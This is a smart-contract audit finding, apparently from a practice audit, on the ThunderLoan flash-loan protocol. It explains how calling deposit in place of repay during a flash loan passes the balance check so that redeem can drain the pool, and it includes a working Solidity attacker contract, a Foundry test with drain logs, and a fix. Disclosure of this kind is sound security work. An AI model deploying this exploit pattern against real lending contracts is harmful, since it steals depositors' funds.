Summary
The identified risk involves attackers exploiting the ThunderLoan::deposit
function during a flash loan, allowing them to later execute a ThunderLoan::redeem
function to withdraw funds.
Vulnerability Details
An attacker can call the ThunderLoan::deposit
function during the flash loan to satisfy the endingBalance
condition in the ThunderLoan::flashloan
function. They can call the ThunderLoan::deposit
function instead of ThunderLoan::repay
with the borrowed amount and fee to bypass the following condition.
uint256 endingBalance = token.balanceOf(address(assetToken));
@> if (endingBalance < startingBalance + fee) {
revert ThunderLoan__NotPaidBack(
startingBalance + fee,
endingBalance
);
}
Impact
The following contract carries out the attack to show the impact of this issue.
pragma solidity ^0.8.18;
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface IThunderLoan {
function flashloan(
address receiverAddress,
IERC20 token,
uint256 amount,
bytes calldata params
) external;
function redeem(IERC20 token, uint256 amountOfAssetToken) external;
function deposit(IERC20 token, uint256 amount) external;
}
contract Attacker {
IThunderLoan private immutable i_thunderLoan;
address public immutable i_owner;
constructor(address _loan) {
i_thunderLoan = IThunderLoan(_loan);
i_owner = msg.sender;
}
function attack(uint256 _loanAmount, address _asset) public {
if (i_owner != msg.sender) revert("only owner");
i_thunderLoan.flashloan(address(this), IERC20(_asset), _loanAmount, "");
i_thunderLoan.redeem(IERC20(_asset), type(uint256).max);
IERC20(_asset).transfer(
i_owner,
IERC20(_asset).balanceOf(address(this))
);
}
function executeOperation(
address token,
uint256 amount,
uint256 fee,
address initiator,
bytes calldata params
) external returns (bool) {
if (initiator != address(this)) revert("only attacker");
if (msg.sender != address(i_thunderLoan)) revert("only thunderLoan");
uint256 amountToPay = amount + fee;
IERC20(token).approve(address(i_thunderLoan), amountToPay);
i_thunderLoan.deposit(IERC20(token), amountToPay);
return true;
}
}
Please add the following test case to the ThunderLoanTest.sol
file and ensure that the test suite has the same setup as provided in GitHub.
// New import statement
++ import {Attacker} from "../../src/Attacker.sol";
contract ThunderLoanTest is BaseTest {
// Add this new test case after the existing ones in the file.
function testFlashLoanAttack() public setAllowedToken hasDeposits {
address underlyingAddress = address(
thunderLoan.s_tokenToAssetToken(tokenA)
);
address attacker = makeAddr("attacker");
vm.startPrank(attacker);
vm.deal(attacker, 2 ether);
// ** Tokens in pool before attack
uint256 beforeBalanceOf = tokenA.balanceOf(underlyingAddress);
// ** logs
console.log("Pool Balance before attack", beforeBalanceOf);
console.log("Attacker Balance attack", tokenA.balanceOf(attacker));
uint256 amountToBorrow = DEPOSIT_AMOUNT - 10 ether;
// ** calculate fee required for borrowed amount
uint256 feeToPay = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);
Attacker attackerContract = new Attacker(address(thunderLoan));
// ** send requried fee to the attacker contract
tokenA.mint(address(attackerContract), feeToPay);
// ** execute attack
attackerContract.attack(amountToBorrow, address(tokenA));
vm.stopPrank();
// ** Tokens in pool after attack
uint256 afterBalanceOf = tokenA.balanceOf(underlyingAddress);
console.log("Pool Balance after attack", afterBalanceOf);
console.log("Attacker Balance after", tokenA.balanceOf(attacker));
assert(afterBalanceOf < beforeBalanceOf);
assert(tokenA.balanceOf(attacker) > amountToBorrow);
}
forge test --match-test testFlashLoanAttack -vvv
Logs:
Pool Balance before attack 1000000000000000000000
Attacker Balance attack 0
Pool Balance after attack 8511390824528107581
Attacker Balance after 994458609175471892419
Tools Used
Foundry and vscode.
Recommendations
Prevent callers from invoking the ThunderLoan::deposit
function while a flash loan is in progress.
contract ThunderLoan is Initializable, OwnableUpgradeable, UUPSUpgradeable, OracleUpgradeable {
// new Error
+ error ThunderLoan__FlashLoanInProgress();
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
+ if (s_currentlyFlashLoaning[token]) {
+ revert ThunderLoan__FlashLoanInProgress();
+ }
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 exchangeRate = assetToken.getExchangeRate();
uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
emit Deposit(msg.sender, token, amount);
assetToken.mint(msg.sender, mintAmount);
uint256 calculatedFee = getCalculatedFee(token, amount);
assetToken.updateExchangeRate(calculatedFee);
token.safeTransferFrom(msg.sender, address(assetToken), amount);
}